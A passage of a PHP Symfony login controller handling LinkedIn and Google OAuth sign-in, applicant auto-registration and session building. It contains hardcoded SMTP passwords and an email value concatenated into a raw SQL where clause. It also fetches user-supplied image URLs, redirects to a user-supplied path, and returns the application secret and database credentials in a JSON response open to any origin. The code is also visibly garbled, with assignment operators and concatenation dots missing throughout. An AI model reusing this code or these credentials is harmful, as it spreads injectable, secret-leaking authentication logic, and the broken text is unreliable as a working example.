  6642.                         'Authorization: Bearer ' $token,
  6643.                         'Header-Key-2: Header-Value-2'
  6644.                     )
  6645.                 ));
  6646.                 $userEmailcontent curl_exec($curl);
  6647.                 curl_close($curl);
  6648.                 $token false;
  6649.                 if ($userEmailcontent) {
  6650.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6651.                 }
  6652. //        $oAuthEmail = $applicantInfo['email'];
  6653. //        return new JsonResponse(array(
  6654. //          'userEmailcontent'=>$userEmailcontent,
  6655. //          'userGeneralcontent'=>$userGeneralcontent,
  6656. //        ));
  6657. //        return new response($userGeneralcontent);
  6658.                 $oAuthData = [
  6659.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6660.                     'uniqueId' => $userGeneralcontent['id'],
  6661.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6662.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6663.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6664.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6665.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6666.                     'type' => 1,
  6667.                     'token' => $token,
  6668.                 ];
  6669.             }
  6670.         } else if (isset($_GET["code"])) {
  6671.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6672.             if (!isset($token['error'])) {
  6673.                 $google_client->setAccessToken($token['access_token']);
  6674.                 $google_service = new Google_Service_Oauth2($google_client);
  6675.                 $applicantInfo $google_service->userinfo->get();
  6676.                 $oAuthEmail $applicantInfo['email'];
  6677.                 $oAuthData = [
  6678.                     'email' => $applicantInfo['email'],
  6679.                     'uniqueId' => $applicantInfo['id'],
  6680.                     'image' => $applicantInfo['picture'],
  6681.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6682.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6683.                     'firstName' => $applicantInfo['givenName'],
  6684.                     'lastName' => $applicantInfo['familyName'],
  6685.                     'type' => $token['token_type'],
  6686.                     'token' => $token['access_token'],
  6687.                 ];
  6688.             }
  6689.         } else if (isset($_GET["access_token"])) {
  6690.             $token $_GET["access_token"];
  6691.             $tokenType $_GET["token_type"];
  6692.             if (!isset($token['error'])) {
  6693.                 $google_client->setAccessToken($token);
  6694.                 $google_service = new Google_Service_Oauth2($google_client);
  6695.                 $applicantInfo $google_service->userinfo->get();
  6696.                 $oAuthEmail $applicantInfo['email'];
  6697.                 $oAuthData = [
  6698.                     'email' => $applicantInfo['email'],
  6699.                     'uniqueId' => $applicantInfo['id'],
  6700.                     'image' => $applicantInfo['picture'],
  6701.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6702.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6703.                     'firstName' => $applicantInfo['givenName'],
  6704.                     'lastName' => $applicantInfo['familyName'],
  6705.                     'type' => $tokenType,
  6706.                     'token' => $token,
  6707.                 ];
  6708.             }
  6709.         }
  6710.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6711.             $isApplicantExist $applicantRepo->findOneBy([
  6712.                 'email' => $oAuthData['email']
  6713.             ]);
  6714.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6715.                 $isApplicantExist $applicantRepo->findOneBy([
  6716.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6717.                 ]);
  6718.             }
  6719.             if (!$isApplicantExist) {
  6720.                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  6721.                     ->where("1=1 and (A.email like '%," $oAuthData['email'] . "' or A.email like '" $oAuthData['email'] . ",%'
  6722.                                      or A.email like '%," $oAuthData['email'] . ",%' or A.email like '" $oAuthData['email'] . "' ) ")
  6723.                     ->getQuery()
  6724.                     ->getResult();
  6725.                 if (!empty($usersQueried))
  6726.                     $isApplicantExist $usersQueried[0];
  6727.             }
  6728.             if ($isApplicantExist) {
  6729.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6730.                 } else
  6731.                     return $this->redirectToRoute("core_login", [
  6732.                         'id' => $isApplicantExist->getApplicantId(),
  6733.                         'oAuthData' => $oAuthData,
  6734.                         'encData' => $encData,
  6735.                         'locale' => $request->request->get('locale''en'),
  6736.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6737.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6738.                     ]);
  6739.             } else {
  6740.                 $fname $oAuthData['firstName'];
  6741.                 $lname $oAuthData['lastName'];
  6742.                 $img $oAuthData['image'];
  6743.                 $email $oAuthData['email'];
  6744.                 $oAuthEmail $oAuthData['email'];
  6745.                 $userName explode('@'$email)[0];
  6746.                 //now check if same username exists
  6747.                 $username_already_exist 1;
  6748.                 $initial_user_name $userName;
  6749.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6750.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6751.                     $isUsernameExist $applicantRepo->findOneBy([
  6752.                         'username' => $userName
  6753.                     ]);
  6754.                     if ($isUsernameExist) {
  6755.                         $username_already_exist 1;
  6756.                         $userName $initial_user_name '' rand(3009987);
  6757.                     } else {
  6758.                         $username_already_exist 0;
  6759.                     }
  6760.                     $timeoutSafeCount--;
  6761.                 }
  6762.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6763.                     $currentUnixTimeStamp '';
  6764.                     $currentUnixTime = new \DateTime();
  6765.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6766.                     $userName $userName '' $currentUnixTimeStamp;
  6767.                 }
  6768.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6769.                 $charactersLength strlen($characters);
  6770.                 $length 8;
  6771.                 $password 0;
  6772.                 for ($i 0$i $length$i++) {
  6773.                     $password .= $characters[rand(0$charactersLength 1)];
  6774.                 }
  6775.                 $newApplicant = new EntityApplicantDetails();
  6776.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6777.                 $newApplicant->setEmail($email);
  6778.                 $newApplicant->setUserName($userName);
  6779.                 $newApplicant->setFirstname($fname);
  6780.                 $newApplicant->setLastname($lname);
  6781.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6782.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6783.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6784.                 $newApplicant->setAccountStatus(1);
  6785.                 $salt uniqid(mt_rand());
  6786.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6787.                 $newApplicant->setPassword($encodedPassword);
  6788.                 $newApplicant->setSalt($salt);
  6789.                 $newApplicant->setTempPassword($password);;
  6790. //                $newApplicant->setPassword($password);
  6791.                 $marker $userName '-' time();
  6792. //                $extension_here=$uploadedFile->guessExtension();
  6793. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6794. //                $path = $fileName;
  6795.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6796.                 if (!file_exists($upl_dir)) {
  6797.                     mkdir($upl_dir0777true);
  6798.                 }
  6799.                 $ch curl_init($img);
  6800.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6801.                 curl_setopt($chCURLOPT_FILE$fp);
  6802.                 curl_setopt($chCURLOPT_HEADER0);
  6803.                 curl_exec($ch);
  6804.                 curl_close($ch);
  6805.                 fclose($fp);
  6806.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6807. //                $newApplicant->setImage($img);
  6808.                 $newApplicant->setIsConsultant(0);
  6809.                 $newApplicant->setIsTemporaryEntry(0);
  6810.                 $newApplicant->setApplyForConsultant(0);
  6811.                 $em->persist($newApplicant);
  6812.                 $em->flush();
  6813.                 $isApplicantExist $newApplicant;
  6814.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6815.                     if ($systemType == '_BUDDYBEE_') {
  6816.                         $bodyHtml '';
  6817.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6818.                         $bodyData = array(
  6819.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6820.                             'email' => $userName,
  6821.                             'password' => $newApplicant->getPassword(),
  6822.                         );
  6823.                         $attachments = [];
  6824.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6825. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6826.                         $new_mail $this->get('mail_module');
  6827.                         $new_mail->sendMyMail(array(
  6828.                             'senderHash' => '_CUSTOM_',
  6829.                             //                        'senderHash'=>'_CUSTOM_',
  6830.                             'forwardToMailAddress' => $forwardToMailAddress,
  6831.                             'subject' => 'Welcome to BuddyBee ',
  6832. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6833.                             'attachments' => $attachments,
  6834.                             'toAddress' => $forwardToMailAddress,
  6835.                             'fromAddress' => 'registration@buddybee.eu',
  6836.                             'userName' => 'registration@buddybee.eu',
  6837.                             'password' => 'Y41dh8g0112',
  6838.                             'smtpServer' => 'smtp.hostinger.com',
  6839.                             'smtpPort' => 465,
  6840.                             'encryptionMethod' => 'ssl',
  6841. //                            'emailBody' => $bodyHtml,
  6842.                             'mailTemplate' => $bodyTemplate,
  6843.                             'templateData' => $bodyData,
  6844. //                        'embedCompanyImage' => 1,
  6845. //                        'companyId' => $companyId,
  6846. //                        'companyImagePath' => $company_data->getImage()
  6847.                         ));
  6848.                     } else {
  6849.                         $bodyHtml '';
  6850.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6851.                         $bodyData = array(
  6852.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6853.                             'email' => 'APP-' $userName,
  6854.                             'password' => $newApplicant->getPassword(),
  6855.                         );
  6856.                         $attachments = [];
  6857.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6858. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6859.                         $new_mail $this->get('mail_module');
  6860.                         $new_mail->sendMyMail(array(
  6861.                             'senderHash' => '_CUSTOM_',
  6862.                             //                        'senderHash'=>'_CUSTOM_',
  6863.                             'forwardToMailAddress' => $forwardToMailAddress,
  6864.                             'subject' => 'Applicant Registration on Honeybee',
  6865. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6866.                             'attachments' => $attachments,
  6867.                             'toAddress' => $forwardToMailAddress,
  6868.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6869.                             'userName' => 'accounts@ourhoneybee.eu',
  6870.                             'password' => 'Honeybee@0112',
  6871.                             'smtpServer' => 'smtp.hostinger.com',
  6872.                             'smtpPort' => 465,
  6873.                             'encryptionMethod' => 'ssl',
  6874. //                            'emailBody' => $bodyHtml,
  6875.                             'mailTemplate' => $bodyTemplate,
  6876.                             'templateData' => $bodyData,
  6877. //                        'embedCompanyImage' => 1,
  6878. //                        'companyId' => $companyId,
  6879. //                        'companyImagePath' => $company_data->getImage()
  6880.                         ));
  6881.                     }
  6882.                 }
  6883.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6884.                 } else {
  6885.                     return $this->redirectToRoute("core_login", [
  6886.                         'id' => $newApplicant->getApplicantId(),
  6887.                         'oAuthData' => $oAuthData,
  6888.                         'encData' => $encData,
  6889.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6890.                         'locale' => $request->request->get('locale''en'),
  6891.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6892.                     ]);
  6893.                 }
  6894.             }
  6895.         }
  6896.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6897.             if ($isApplicantExist) {
  6898.                 $user $isApplicantExist;
  6899.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6900.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  6901.                 $globalId $user->getApplicantId();
  6902.                 $gocList $em
  6903.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  6904.                     ->findBy(
  6905.                         array(//                        'active' => 1
  6906.                         )
  6907.                     );
  6908.                 $gocDataList = [];
  6909.                 $gocDataListForLoginWeb = [];
  6910.                 $gocDataListByAppId = [];
  6911.                 foreach ($gocList as $entry) {
  6912.                     $d = array(
  6913.                         'name' => $entry->getName(),
  6914.                         'image' => $entry->getImage(),
  6915.                         'id' => $entry->getId(),
  6916.                         'appId' => $entry->getAppId(),
  6917.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  6918.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  6919.                         'dbName' => $entry->getDbName(),
  6920.                         'dbUser' => $entry->getDbUser(),
  6921.                         'dbPass' => $entry->getDbPass(),
  6922.                         'dbHost' => $entry->getDbHost(),
  6923.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  6924.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  6925.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  6926.                         'companyRemaining' => $entry->getCompanyRemaining(),
  6927.                         'companyAllowed' => $entry->getCompanyAllowed(),
  6928.                     );
  6929.                     $gocDataList[$entry->getId()] = $d;
  6930.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  6931.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  6932.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  6933.                 }
  6934.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  6935.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6936.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6937.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6938.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6939.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6940.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6941.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6942.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6943.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6944.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6945.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6946.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6947.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6948.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6949.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6950.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6951.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6952.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6953.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6954.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6955.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6956.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6957.                     $session->set('userCompanyVibrantList'json_encode([]));
  6958.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6959.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6960.                     $session->set(UserConstants::USER_APP_ID0);
  6961.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6962.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6963.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6964.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6965.                     $session->set(UserConstants::USER_GOC_ID0);
  6966.                     $session->set(UserConstants::USER_DB_NAME'');
  6967.                     $session->set(UserConstants::USER_DB_USER'');
  6968.                     $session->set(UserConstants::USER_DB_PASS'');
  6969.                     $session->set(UserConstants::USER_DB_HOST'');
  6970.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6971.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6972.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6973.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6974.                     $session->set('locale'$request->request->get('locale'''));
  6975.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6976.                     $route_list_array = [];
  6977.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6978.                     $loginID 0;
  6979.                     $loginID MiscActions::addEntityUserLoginLog(
  6980.                         $em,
  6981.                         $session->get(UserConstants::USER_ID),
  6982.                         $session->get(UserConstants::USER_ID),
  6983.                         1,
  6984.                         $request->server->get("REMOTE_ADDR"),
  6985.                         0,
  6986.                         $request->request->get('deviceId'''),
  6987.                         $request->request->get('oAuthToken'''),
  6988.                         $request->request->get('oAuthType'''),
  6989.                         $request->request->get('locale'''),
  6990.                         $request->request->get('firebaseToken''')
  6991.                     );
  6992.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6993.                     $session_data = array(
  6994.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6995.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6996.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6997.                         'oAuthToken' => $session->get('oAuthToken'),
  6998.                         'locale' => $session->get('locale'),
  6999.                         'firebaseToken' => $session->get('firebaseToken'),
  7000.                         'token' => $session->get('token'),
  7001.                         'firstLogin' => 0,
  7002.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  7003.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  7004.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7005.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  7006.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7007.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7008.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7009.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  7010.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7011.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7012.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7013.                         'oAuthImage' => $session->get('oAuthImage'),
  7014.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7015.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7016.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7017.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7018.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7019.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7020.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7021.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7022.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7023.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7024.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7025.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7026.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7027.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7028.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7029.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7030.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7031.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7032.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7033.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7034.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7035.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7036.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7037.                         //new
  7038.                         'appIdList' => $session->get('appIdList'),
  7039.                         'branchIdList' => $session->get('branchIdList'null),
  7040.                         'branchId' => $session->get('branchId'null),
  7041.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7042.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7043.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7044.                     );
  7045.                     $accessList = [];
  7046. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7047.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7048.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7049.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7050.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7051.                                 $d = array(
  7052.                                     'userType' => $thisUserUserType,
  7053. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7054.                                     'userTypeName' => $userTypeName,
  7055.                                     'globalId' => $globalId,
  7056.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7057.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7058.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7059.                                     'systemType' => '_ERP_',
  7060.                                     'companyId' => 1,
  7061.                                     'appId' => $thisUserAppId,
  7062.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7063.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7064.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7065.                                             array(
  7066.                                                 'globalId' => $globalId,
  7067.                                                 'appId' => $thisUserAppId,
  7068.                                                 'authenticate' => 1,
  7069.                                                 'userType' => $thisUserUserType,
  7070.                                                 'userTypeName' => $userTypeName
  7071.                                             )
  7072.                                         )
  7073.                                     ),
  7074.                                     'userCompanyList' => [
  7075.                                     ]
  7076.                                 );
  7077.                                 $accessList[] = $d;
  7078.                             }
  7079.                         }
  7080.                     }
  7081.                     $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  7082.                     $session_data['userAccessList'] = $accessList;
  7083.                     $session->set('userAccessList'json_encode($accessList));
  7084.                     $session_data $this->filterClientSessionData($session_data);
  7085.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7086.                     $session_data $tokenData['sessionData'];
  7087.                     $token $tokenData['token'];
  7088.                     $session->set('token'$token);
  7089.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7090.                         $session->set('remoteVerified'1);
  7091.                         $response = new JsonResponse(array(
  7092.                             'token' => $token,
  7093.                             'uid' => $session->get(UserConstants::USER_ID),
  7094.                             'session' => $session,
  7095.                             'success' => true,
  7096.                             'session_data' => $session_data,
  7097.                         ));
  7098.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7099.                         return $response;
  7100.                     }
  7101.                     if ($request->request->has('referer_path')) {
  7102.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7103.                             return $this->redirect($request->request->get('referer_path'));
  7104.                         }
  7105.                     }
  7106.                     $redirectRoute 'applicant_dashboard';
  7107.                     if ($request->query->has('encData')) {
  7108.                         if ($request->query->get('encData') == '8917922')
  7109.                             $redirectRoute 'apply_for_consultant';
  7110.                     }
  7111.                     return $this->redirectToRoute($redirectRoute);
  7112.                 }
  7113. //                    $response = new JsonResponse(array(
  7114. //                        'token' => $token,
  7115. //                        'uid' => $session->get(UserConstants::USER_ID),
  7116. //                        'session' => $session,
  7117. //
  7118. //                        'success' => true,
  7119. //                        'session_data' => $session_data,
  7120. //
  7121. //                    ));
  7122. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7123. //                    return $response;
  7124. //                    return $this->redirectToRoute("user_login", [
  7125. //                        'id' => $isApplicantExist->getApplicantId(),
  7126. //                        'oAuthData' => $oAuthData,
  7127. //                        'encData' => $encData,
  7128. //                        'locale' => $request->request->get('locale', 'en'),
  7129. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7130. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7131. //                    ]);
  7132.             }
  7133.         }
  7134.         $selector BuddybeeConstant::$selector;
  7135.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7136.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7137.         if ($systemType == '_ERP_') {
  7138.         } else if ($systemType == '_CENTRAL_') {
  7139.             return $this->render(
  7140.                 '@Authentication/pages/views/central_login.html.twig',
  7141.                 [
  7142.                     'page_title' => 'Central Login',
  7143.                     'oAuthLink' => $google_client->createAuthUrl(),
  7144.                     'redirect_url' => $url,
  7145.                     'message' => $message,
  7146.                     'systemType' => $systemType,
  7147.                     'ownServerId' => $ownServerId,
  7148.                     'errorField' => '',
  7149.                     'encData' => $encData,
  7150.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7151.                     'selector' => $selector,
  7152.                 ]
  7153.             );
  7154.         } else if ($systemType == '_BUDDYBEE_') {
  7155.             return $this->render(
  7156.                 '@Authentication/pages/views/applicant_login.html.twig',
  7157.                 [
  7158.                     'page_title' => 'BuddyBee Login',
  7159.                     'oAuthLink' => $google_client->createAuthUrl(),
  7160.                     'redirect_url' => $url,
  7161.                     'message' => $message,
  7162.                     'errorField' => $errorField,
  7163.                     'encData' => $encData,
  7164.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7165.                     'selector' => $selector
  7166.                 ]
  7167.             );
  7168.         }
  7169.         return $this->render(
  7170.             '@Authentication/pages/views/applicant_login.html.twig',
  7171.             [
  7172.                 'page_title' => 'Applicant Registration',
  7173.                 'oAuthLink' => $google_client->createAuthUrl(),
  7174.                 'redirect_url' => $url,
  7175.                 'encData' => $encData,
  7176.                 'message' => $message,
  7177.                 'errorField' => $errorField,
  7178.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7179.                 'selector' => $selector
  7180.             ]
  7181.         );
  7182.     }
  7183.     public function sophiaLoginAction(Request $request$encData ''$remoteVerify 0)
  7184.     {
  7185.         $session $request->getSession();
  7186.         $email $request->getSession()->get('userEmail');
  7187.         $sessionUserId $request->getSession()->get('userId');
  7188.         $oAuthData = [];
  7189. //    $encData='';
  7190.         $em $this->getDoctrine()->getManager('company_group');
  7191.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  7192.         $redirectRoute 'dashboard';
  7193.         if ($encData != '') {
  7194.             if ($encData == '8917922')
  7195.                 $redirectRoute 'apply_for_consultant';
  7196.         }
  7197.         if ($request->query->has('encData')) {
  7198.             $encData $request->query->get('encData');
  7199.             if ($encData == '8917922')
  7200.                 $redirectRoute 'apply_for_consultant';
  7201.         }
  7202.         $message '';
  7203.         $errorField '_NONE_';
  7204.         if ($request->query->has('message')) {
  7205.             $message $request->query->get('message');
  7206.         }
  7207.         if ($request->query->has('errorField')) {
  7208.             $errorField $request->query->get('errorField');
  7209.         }
  7210.         if ($request->request->has('oAuthData')) {
  7211.             $oAuthData $request->request->get('oAuthData', []);
  7212.         } else {
  7213.             $oAuthData = [
  7214.                 'email' => $request->request->get('email'''),
  7215.                 'uniqueId' => $request->request->get('uniqueId'''),
  7216.                 'oAuthHash' => '_NONE_',
  7217.                 'image' => $request->request->get('image'''),
  7218.                 'emailVerified' => $request->request->get('emailVerified'''),
  7219.                 'name' => $request->request->get('name'''),
  7220.                 'firstName' => $request->request->get('firstName'''),
  7221.                 'lastName' => $request->request->get('lastName'''),
  7222.                 'type' => 1,
  7223.                 'token' => $request->request->get('oAuthtoken'''),
  7224.             ];
  7225.         }
  7226.         $isApplicantExist null;
  7227.         if ($email) {
